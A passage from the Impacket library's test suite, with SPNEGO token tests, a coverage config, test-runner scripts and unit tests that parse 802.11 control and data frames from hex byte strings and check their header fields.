b'\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00' 24 | 25 | self.negTokenResp4 = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' 26 | 27 | def test_negTokenInit(self): 28 | token = smb.SPNEGO_NegTokenInit() 29 | token.fromString(self.negTokenInit) 30 | self.assertTrue(self.negTokenInit, token.getData()) 31 | 32 | def test_negTokenInit2(self): 33 | token = smb.SPNEGO_NegTokenInit() 34 | token.fromString(self.negTokenInit2) 35 | self.assertTrue(self.negTokenInit2, token.getData()) 36 | 37 | def test_negTokenResp1(self): 38 | token = smb.SPNEGO_NegTokenResp() 39 | token.fromString(self.negTokenResp1) 40 | self.assertTrue(self.negTokenResp1, token.getData()) 41 | 42 | def test_negTokenResp2(self): 43 | token = smb.SPNEGO_NegTokenResp() 44 | token.fromString(self.negTokenResp2) 45 | self.assertTrue(self.negTokenResp2, token.getData()) 46 | 47 | def test_negTokenResp3(self): 48 | token = smb.SPNEGO_NegTokenResp() 49 | token.fromString(self.negTokenResp3) 50 | self.assertTrue(self.negTokenResp3, token.getData()) 51 | 52 | def test_negTokenResp4(self): 53 | token = smb.SPNEGO_NegTokenResp() 54 | token['NegState'] = b'\x03' # request-mic 55 | token['SupportedMech'] = smb.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 56 | self.assertTrue(self.negTokenResp4, token.getData()) 57 | 58 | if __name__ == "__main__": 59 | unittest.main() 60 | -------------------------------------------------------------------------------- /tests/coveragerc: -------------------------------------------------------------------------------- 1 | # .coveragerc to control coverage.py 2 | [run] 3 | branch = True 4 | source = impacket 5 | omit = *remcom* 6 | *.tox* 7 | 8 | [report] 9 | # Regexes for lines to exclude from consideration 10 | exclude_lines = 11 | # Have to re-enable the standard pragma 12 | pragma: no cover 13 | 14 | # Don't complain about missing debug-only code: 15 | if self\.debug 16 | 17 | # Don't complain if tests don't hit defensive assertion code: 18 | raise AssertionError 19 | raise NotImplementedError 20 | 21 | # Don't complain if non-runnable code isn't run: 22 | if 0: 23 | if __name__ == .__main__.: 24 | 25 | ignore_errors = True 26 | 27 | [html] 28 | directory = coverage_html_report 29 | -------------------------------------------------------------------------------- /tests/dot11/runalltestcases.bat: -------------------------------------------------------------------------------- 1 | 2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G -------------------------------------------------------------------------------- /tests/dot11/runalltestcases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | export PYTHONPATH=../..:$PYTHONPATH 4 | 5 | if [ $# -gt 0 ] 6 | then 7 | # Only run coverage when called by tox 8 | RUN="python -m coverage run --append --rcfile=../coveragerc " 9 | else 10 | RUN=python 11 | fi 12 | 13 | total=0 14 | ok=0 15 | failed=0 16 | for file in `ls *.py` ; do 17 | echo $separator 18 | echo Executing $file 19 | latest=$( 20 | $RUN $file 2>&1 | { 21 | while read line; do 22 | echo " $line" 1>&2 23 | latest="$line" 24 | done 25 | echo $latest 26 | } 27 | ) 28 | #echo Latest ${latest} 29 | result=${latest:0:6} 30 | if [ "$result" = "FAILED" ] 31 | then 32 | (( failed++ )) 33 | elif [ "$result" = "OK" ] 34 | then 35 | (( ok++ )) 36 | else 37 | echo "WARNING: Unknown result!!!!!" 38 | (( failed++ )) 39 | fi 40 | 41 | (( total++ )) 42 | done 43 | echo $separator 44 | echo Summary: 45 | echo " OK $ok/$total" 46 | echo " $failed FAILED" 47 | -------------------------------------------------------------------------------- /tests/dot11/test_Dot11Base.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # sorry, this is very ugly, but I'm in python 2.5 11 | import sys 12 | sys.path.insert(0,"../..") 13 | 14 | from impacket.dot11 import Dot11, Dot11Types 15 | import unittest 16 | 17 | class TestDot11Common(unittest.TestCase): 18 | 19 | def setUp(self): 20 | # Frame control field 21 | a=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e' 22 | self.dot11fc=Dot11(a) 23 | 24 | def test_01_HeaderSize(self): 25 | 'Test Header Size field' 26 | self.assertEqual(self.dot11fc.get_header_size(), 2) 27 | 28 | def test_01_TailSize(self): 29 | 'Test Tail Size field' 30 | self.assertEqual(self.dot11fc.get_tail_size(), 4) 31 | 32 | def test_02_Version(self): 33 | 'Test Version field' 34 | self.assertEqual(self.dot11fc.get_version(), 0) 35 | self.dot11fc.set_version(3) 36 | self.assertEqual(self.dot11fc.get_version(), 3) 37 | 38 | def test_03_Type(self): 39 | 'Test Type field' 40 | self.assertEqual(self.dot11fc.get_type(), 1) 41 | self.dot11fc.set_type(3) 42 | self.assertEqual(self.dot11fc.get_type(), 3) 43 | 44 | def test_04_SubType(self): 45 | 'Test Subtype field' 46 | self.assertEqual(self.dot11fc.get_subtype(),13) 47 | self.dot11fc.set_subtype(5) 48 | self.assertEqual(self.dot11fc.get_subtype(),5) 49 | 50 | def test_05_ToDS(self): 51 | 'Test toDS field' 52 | self.assertEqual(self.dot11fc.get_toDS(),0) 53 | self.dot11fc.set_toDS(1) 54 | self.assertEqual(self.dot11fc.get_toDS(),1) 55 | 56 | def test_06_FromDS(self): 57 | 'Test fromDS field' 58 | self.assertEqual(self.dot11fc.get_fromDS(),0) 59 | self.dot11fc.set_fromDS(1) 60 | self.assertEqual(self.dot11fc.get_fromDS(),1) 61 | 62 | def test_07_MoreFrag(self): 63 | 'Test More Frag field' 64 | self.assertEqual(self.dot11fc.get_moreFrag(),0) 65 | self.dot11fc.set_moreFrag(1) 66 | self.assertEqual(self.dot11fc.get_moreFrag(),1) 67 | 68 | def test_08_Retry(self): 69 | 'Test Retry field' 70 | self.assertEqual(self.dot11fc.get_retry(),0) 71 | self.dot11fc.set_retry(1) 72 | self.assertEqual(self.dot11fc.get_retry(),1) 73 | 74 | def test_09_PowerManagement(self): 75 | 'Test Power Management field' 76 | self.assertEqual(self.dot11fc.get_powerManagement(),0) 77 | self.dot11fc.set_powerManagement(1) 78 | self.assertEqual(self.dot11fc.get_powerManagement(),1) 79 | 80 | def test_10_MoreData(self): 81 | 'Test More Data field' 82 | self.assertEqual(self.dot11fc.get_moreData(),0) 83 | self.dot11fc.set_moreData(1) 84 | self.assertEqual(self.dot11fc.get_moreData(),1) 85 | 86 | # def test_11_WEP(self): 87 | # 'Test WEP field' 88 | # self.assertEqual(self.dot11fc.get_WEP(),0) 89 | # self.dot11fc.set_WEP(1) 90 | # self.assertEqual(self.dot11fc.get_WEP(),1) 91 | 92 | 93 | def test_12_Order(self): 94 | 'Test Order field' 95 | self.assertEqual(self.dot11fc.get_order(),0) 96 | self.dot11fc.set_order(1) 97 | self.assertEqual(self.dot11fc.get_order(),1) 98 | 99 | def test_13_latest(self): 100 | 'Test complete frame hexs' 101 | self.dot11fc.set_type_n_subtype(Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL) 102 | self.dot11fc.set_order(1) 103 | self.dot11fc.set_moreData(1) 104 | self.dot11fc.set_retry(1) 105 | self.dot11fc.set_fromDS(1) 106 | 107 | frame=self.dot11fc.get_packet() 108 | 109 | self.assertEqual(frame, b'\xa4\xaa\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e') 110 | 111 | 112 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Common) 113 | unittest.main(defaultTest='suite') 114 | -------------------------------------------------------------------------------- /tests/dot11/test_Dot11Decoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # sorry, this is very ugly, but I'm in python 2.5 11 | import sys 12 | sys.path.insert(0,"../..") 13 | 14 | from impacket.ImpactDecoder import Dot11Decoder #,Dot11Types 15 | from six import PY2 16 | import unittest 17 | 18 | class TestDot11Decoder(unittest.TestCase): 19 | 20 | def setUp(self): 21 | self.WEPKey=None #Unknown 22 | self.WEPData=b'\x08\x41\x3a\x01\x00\x17\x3f\x44\x4f\x96\x00\x13\xce\x67\x0e\x73\x00\x17\x3f\x44\x4f\x96\xb0\x04\xeb\xcd\x8b\x00\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17\xdd\xb5\xd4\x35' 23 | dot11_decoder = Dot11Decoder() 24 | self.in0=dot11_decoder.decode(self.WEPData) 25 | self.in1=self.in0.child() 26 | self.in2=self.in1.child() 27 | self.in3=self.in2.child() 28 | if self.WEPKey: 29 | self.in4=self.in3.child() 30 | self.in5=self.in4.child() 31 | 32 | def test_01_Dot11Decoder(self): 33 | 'Test Dot11 decoder' 34 | if PY2: 35 | self.assertEqual(str(self.in0.__class__), "impacket.dot11.Dot11") 36 | else: 37 | self.assertEqual(str(self.in0.__class__), "") 38 | 39 | def test_02_Dot11DataFrameDecoder(self): 40 | 'Test Dot11DataFrame decoder' 41 | if PY2: 42 | self.assertEqual(str(self.in1.__class__), "impacket.dot11.Dot11DataFrame") 43 | else: 44 | self.assertEqual(str(self.in1.__class__), "") 45 | 46 | def test_03_Dot11WEP(self): 47 | 'Test Dot11WEP decoder' 48 | if PY2: 49 | self.assertEqual(str(self.in2.__class__), "impacket.dot11.Dot11WEP") 50 | else: 51 | self.assertEqual(str(self.in2.__class__), "") 52 | 53 | def test_04_Dot11WEPData(self): 54 | 'Test Dot11WEPData decoder' 55 | 56 | if not self.WEPKey: 57 | return 58 | 59 | self.assertEqual(str(self.in3.__class__), "impacket.dot11.Dot11WEPData") 60 | 61 | # Test if wep data "get_packet" is correct 62 | wepdata=b'\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17' 63 | self.assertEqual(self.in3.get_packet(),wepdata) 64 | 65 | def test_05_LLC(self): 66 | 'Test LLC decoder' 67 | if self.WEPKey: 68 | self.assertEqual(str(self.in4.__class__), "impacket.dot11.LLC") 69 | 70 | def test_06_Data(self): 71 | 'Test LLC Data decoder' 72 | 73 | if self.WEPKey: 74 | dataclass=self.in4.__class__ 75 | else: 76 | dataclass=self.in3.__class__ 77 | 78 | self.assertTrue(str(dataclass).find('ImpactPacket.Data') > 0) 79 | 80 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Decoder) 81 | unittest.main(defaultTest='suite') 82 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlACK.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # sorry, this is very ugly, but I'm in python 2.5 11 | import sys 12 | sys.path.insert(0,"../..") 13 | 14 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameACK 15 | import unittest 16 | 17 | class TestDot11FrameControlACK(unittest.TestCase): 18 | 19 | def setUp(self): 20 | # 802.11 Control Frame ACK 21 | self.frame_orig=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e' 22 | 23 | d = Dot11(self.frame_orig) 24 | 25 | type = d.get_type() 26 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 27 | 28 | subtype = d.get_subtype() 29 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT) 30 | 31 | typesubtype = d.get_type_n_subtype() 32 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT) 33 | 34 | self.ack = Dot11ControlFrameACK(d.get_body_as_string()) 35 | 36 | d.contains(self.ack) 37 | 38 | def test_01_HeaderTailSize(self): 39 | 'Test Header and Tail Size field' 40 | self.assertEqual(self.ack.get_header_size(), 8) 41 | self.assertEqual(self.ack.get_tail_size(), 0) 42 | 43 | def test_02_Duration(self): 44 | 'Test Duration field' 45 | 46 | self.assertEqual(self.ack.get_duration(), 0) 47 | self.ack.set_duration(0x1234) 48 | self.assertEqual(self.ack.get_duration(), 0x1234) 49 | 50 | def test_03_RA(self): 51 | 'Test RA field' 52 | 53 | ra=self.ack.get_ra() 54 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 55 | ra[0]=0x12 56 | ra[5]=0x34 57 | self.ack.set_ra(ra) 58 | self.assertEqual(self.ack.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 59 | 60 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlACK) 61 | unittest.main(defaultTest='suite') 62 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCFEnd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # sorry, this is very ugly, but I'm in python 2.5 11 | import sys 12 | sys.path.insert(0,"../..") 13 | 14 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEnd 15 | import unittest 16 | 17 | class TestDot11FrameControlCFEnd(unittest.TestCase): 18 | 19 | def setUp(self): 20 | # 802.11 Control Frame CFEnd 21 | self.frame_orig=b'\xe4\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x19\xe0\x98\x04\xd4\xad\x9c\x3c\xc0' 22 | 23 | d = Dot11(self.frame_orig) 24 | 25 | type = d.get_type() 26 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 27 | 28 | subtype = d.get_subtype() 29 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END) 30 | 31 | typesubtype = d.get_type_n_subtype() 32 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END) 33 | 34 | self.cfend = Dot11ControlFrameCFEnd(d.get_body_as_string()) 35 | 36 | d.contains(self.cfend) 37 | 38 | def test_01_HeaderTailSize(self): 39 | 'Test Header and Tail Size field' 40 | self.assertEqual(self.cfend.get_header_size(), 14) 41 | self.assertEqual(self.cfend.get_tail_size(), 0) 42 | 43 | def test_02_Duration(self): 44 | 'Test Duration field' 45 | 46 | self.assertEqual(self.cfend.get_duration(), 0x00) 47 | self.cfend.set_duration(0x1234) 48 | self.assertEqual(self.cfend.get_duration(), 0x1234) 49 | 50 | def test_03_RA(self): 51 | 'Test RA field' 52 | 53 | ra=self.cfend.get_ra() 54 | self.assertEqual(ra.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff]) 55 | ra[0]=0x12 56 | ra[5]=0x34 57 | self.cfend.set_ra(ra) 58 | self.assertEqual(self.cfend.get_ra().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34]) 59 | 60 | def test_04_BSSID(self): 61 | 'Test BSS ID field' 62 | 63 | bssid=self.cfend.get_bssid() 64 | self.assertEqual(bssid.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4]) 65 | bssid[0]=0x12 66 | bssid[5]=0x34 67 | self.cfend.set_bssid(bssid) 68 | self.assertEqual(self.cfend.get_bssid().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) 69 | 70 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEnd) 71 | unittest.main(defaultTest='suite') 72 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCFEndCFACK.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # sorry, this is very ugly, but I'm in python 2.5 11 | import sys 12 | sys.path.insert(0,"../..") 13 | 14 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEndCFACK 15 | import unittest 16 | 17 | class TestDot11FrameControlCFEndCFACK(unittest.TestCase): 18 | 19 | def setUp(self): 20 | # 802.11 Control Frame CFEndCFACK 21 | self.frame_orig=b'\xf4\x74\xde\xed\xe5\x56\x85\xf8\xd2\x3b\x96\xae\x0f\xb0\xd9\x8a\x03\x02\x38\x00' 22 | 23 | d = Dot11(self.frame_orig) 24 | 25 | type = d.get_type() 26 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 27 | 28 | subtype = d.get_subtype() 29 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK) 30 | 31 | typesubtype = d.get_type_n_subtype() 32 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK) 33 | 34 | self.cfendcfack = Dot11ControlFrameCFEndCFACK(d.get_body_as_string()) 35 | 36 | d.contains(self.cfendcfack) 37 | 38 | def test_01_HeaderTailSize(self): 39 | 'Test Header and Tail Size field' 40 | self.assertEqual(self.cfendcfack.get_header_size(), 14) 41 | self.assertEqual(self.cfendcfack.get_tail_size(), 0) 42 | 43 | def test_02_Duration(self): 44 | 'Test Duration field' 45 | 46 | self.assertEqual(self.cfendcfack.get_duration(), 0xEDDE) 47 | self.cfendcfack.set_duration(0x1234) 48 | self.assertEqual(self.cfendcfack.get_duration(), 0x1234) 49 | 50 | def test_03_RA(self): 51 | 'Test RA field' 52 | 53 | ra=self.cfendcfack.get_ra() 54 | self.assertEqual(ra.tolist(), [0xe5,0x56,0x85,0xf8,0xd2,0x3b]) 55 | ra[0]=0x12 56 | ra[5]=0x34 57 | self.cfendcfack.set_ra(ra) 58 | self.assertEqual(self.cfendcfack.get_ra().tolist(), [0x12,0x56,0x85,0xf8,0xd2,0x34]) 59 | 60 | def test_04_BSSID(self): 61 | 'Test BSS ID field' 62 | 63 | bssid=self.cfendcfack.get_bssid() 64 | self.assertEqual(bssid.tolist(), [0x96,0xae,0x0f,0xb0,0xd9,0x8a]) 65 | bssid[0]=0x12 66 | bssid[5]=0x34 67 | self.cfendcfack.set_bssid(bssid) 68 | self.assertEqual(self.cfendcfack.get_bssid().tolist(), [0x12,0xae,0x0f,0xb0,0xd9,0x34]) 69 | 70 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEndCFACK) 71 | unittest.main(defaultTest='suite') 72 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCTS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # sorry, this is very ugly, but I'm in python 2.5 11 | import sys 12 | sys.path.insert(0,"../..") 13 | 14 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCTS 15 | import unittest 16 | 17 | class TestDot11FrameControlCTS(unittest.TestCase): 18 | 19 | def setUp(self): 20 | # 802.11 Control Frame CTS 21 | self.frame_orig=b'\xc4\x00\x3b\x12\x00\x19\xe0\x98\x04\xd4\x2b\x8a\x65\x17' 22 | 23 | d = Dot11(self.frame_orig) 24 | 25 | type = d.get_type() 26 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 27 | 28 | subtype = d.get_subtype() 29 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND) 30 | 31 | typesubtype = d.get_type_n_subtype() 32 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND) 33 | 34 | self.cts = Dot11ControlFrameCTS(d.get_body_as_string()) 35 | 36 | d.contains(self.cts) 37 | 38 | def test_01_HeaderTailSize(self): 39 | 'Test Header and Tail Size field' 40 | self.assertEqual(self.cts.get_header_size(), 8) 41 | self.assertEqual(self.cts.get_tail_size(), 0) 42 | 43 | def test_02_Duration(self): 44 | 'Test Duration field' 45 | 46 | self.assertEqual(self.cts.get_duration(), 4667) 47 | self.cts.set_duration(0x1234) 48 | self.assertEqual(self.cts.get_duration(), 0x1234) 49 | 50 | def test_03_RA(self): 51 | 'Test RA field' 52 | 53 | ra=self.cts.get_ra() 54 | 55 | self.assertEqual(ra.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4]) 56 | ra[0]=0x12 57 | ra[5]=0x34 58 | self.cts.set_ra(ra) 59 | self.assertEqual(self.cts.get_ra().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) 60 | 61 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCTS) 62 | unittest.main(defaultTest='suite') 63 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlPSPoll.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # sorry, this is very ugly, but I'm in python 2.5 11 | import sys 12 | sys.path.insert(0,"../..") 13 | 14 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFramePSPoll 15 | import unittest 16 | 17 | class TestDot11FrameControlPSPoll(unittest.TestCase): 18 | 19 | def setUp(self): 20 | # 802.11 Control Frame PSPoll 21 | self.frame_orig=b'\xa6\x73\xf1\xaf\x48\x06\xee\x23\x2b\xc9\xfe\xbe\xe5\x05\x4c\x0a\x04\xa0\x00\x0f' 22 | 23 | d = Dot11(self.frame_orig) 24 | 25 | type = d.get_type() 26 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 27 | 28 | subtype = d.get_subtype() 29 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL) 30 | 31 | typesubtype = d.get_type_n_subtype() 32 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL) 33 | 34 | self.pspoll = Dot11ControlFramePSPoll(d.get_body_as_string()) 35 | 36 | d.contains(self.pspoll) 37 | 38 | def test_01_HeaderTailSize(self): 39 | 'Test Header and Tail Size field' 40 | self.assertEqual(self.pspoll.get_header_size(), 14) 41 | self.assertEqual(self.pspoll.get_tail_size(), 0) 42 | 43 | def test_02_AID(self): 44 | 'Test AID field' 45 | 46 | self.assertEqual(self.pspoll.get_aid(), 0xAFF1) 47 | self.pspoll.set_aid(0x1234) 48 | self.assertEqual(self.pspoll.get_aid(), 0x1234) 49 | 50 | def test_03_BSSID(self): 51 | 'Test BSS ID field' 52 | 53 | bssid=self.pspoll.get_bssid() 54 | self.assertEqual(bssid.tolist(), [0x48,0x06,0xee,0x23,0x2b,0xc9]) 55 | bssid[0]=0x12 56 | bssid[5]=0x34 57 | self.pspoll.set_bssid(bssid) 58 | self.assertEqual(self.pspoll.get_bssid().tolist(), [0x12,0x06,0xee,0x23,0x2b,0x34]) 59 | 60 | def test_04_TA(self): 61 | 'Test TA field' 62 | 63 | ta=self.pspoll.get_ta() 64 | self.assertEqual(ta.tolist(), [0xfe,0xbe,0xe5,0x05,0x4c,0x0a]) 65 | ta[0]=0x12 66 | ta[5]=0x34 67 | self.pspoll.set_ta(ta) 68 | self.assertEqual(self.pspoll.get_ta().tolist(), [0x12,0xbe,0xe5,0x05,0x4c,0x34]) 69 | 70 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlPSPoll) 71 | unittest.main(defaultTest='suite') 72 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlRTS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # sorry, this is very ugly, but I'm in python 2.5 11 | import sys 12 | sys.path.insert(0,"../..") 13 | 14 | from impacket.dot11 import Dot11, Dot11Types, Dot11ControlFrameRTS 15 | import unittest 16 | 17 | class TestDot11FrameControlRTS(unittest.TestCase): 18 | 19 | def setUp(self): 20 | # 802.11 Control Frame RTS 21 | self.frame_orig=b'\xb4\x00\x81\x01\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x99\x75\x43\x73' 22 | 23 | d = Dot11(self.frame_orig) 24 | 25 | type = d.get_type() 26 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 27 | 28 | subtype = d.get_subtype() 29 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND) 30 | 31 | typesubtype = d.get_type_n_subtype() 32 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND) 33 | 34 | self.rts = Dot11ControlFrameRTS(d.get_body_as_string()) 35 | 36 | d.contains(self.rts) 37 | 38 | def test_01_HeaderTailSize(self): 39 | 'Test Header and Tail Size field' 40 | self.assertEqual(self.rts.get_header_size(), 14) 41 | self.assertEqual(self.rts.get_tail_size(), 0) 42 | 43 | def test_02_Duration(self): 44 | 'Test Duration field' 45 | 46 | self.assertEqual(self.rts.get_duration(), 0x181) 47 | self.rts.set_duration(0x1234) 48 | self.assertEqual(self.rts.get_duration(), 0x1234) 49 | 50 | def test_03_RA(self): 51 | 'Test RA field' 52 | 53 | ra=self.rts.get_ra() 54 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 55 | ra[0]=0x12 56 | ra[5]=0x34 57 | self.rts.set_ra(ra) 58 | self.assertEqual(self.rts.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 59 | 60 | def test_04_TA(self): 61 | 'Test TA field' 62 | 63 | ta=self.rts.get_ta() 64 | self.assertEqual(ta.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe]) 65 | ta[0]=0x12 66 | ta[5]=0x34 67 | self.rts.set_ta(ta) 68 | self.assertEqual(self.rts.get_ta().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34]) 69 | 70 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlRTS) 71 | unittest.main(defaultTest='suite') 72 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameData.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # sorry, this is very ugly, but I'm in python 2.5 11 | import sys 12 | sys.path.insert(0,"../..") 13 | 14 | from impacket.dot11 import Dot11, Dot11Types, Dot11DataFrame 15 | import unittest 16 | 17 | class TestDot11DataFrames(unittest.TestCase): 18 | 19 | def setUp(self): 20 | # 802.11 Data Frame 21 | # 22 | self.frame_orig=b'\x08\x01\x30\x00\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x00\x08\x54\xac\x2f\x85\x40\x44\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00\xed\x13\x22\x91' 23 | 24 | d = Dot11(self.frame_orig) 25 | 26 | type = d.get_type() 27 | self.assertEqual(type,Dot11Types.DOT11_TYPE_DATA) 28 | 29 | subtype = d.get_subtype() 30 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_DATA) 31 | 32 | typesubtype = d.get_type_n_subtype() 33 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA) 34 | 35 | self.data = Dot11DataFrame(d.get_body_as_string()) 36 | 37 | d.contains(self.data) 38 | 39 | def test_01_HeaderSize(self): 40 | 'Test Header and Tail Size field' 41 | self.assertEqual(self.data.get_header_size(), 22) 42 | self.assertEqual(self.data.get_tail_size(), 0) 43 | 44 | def 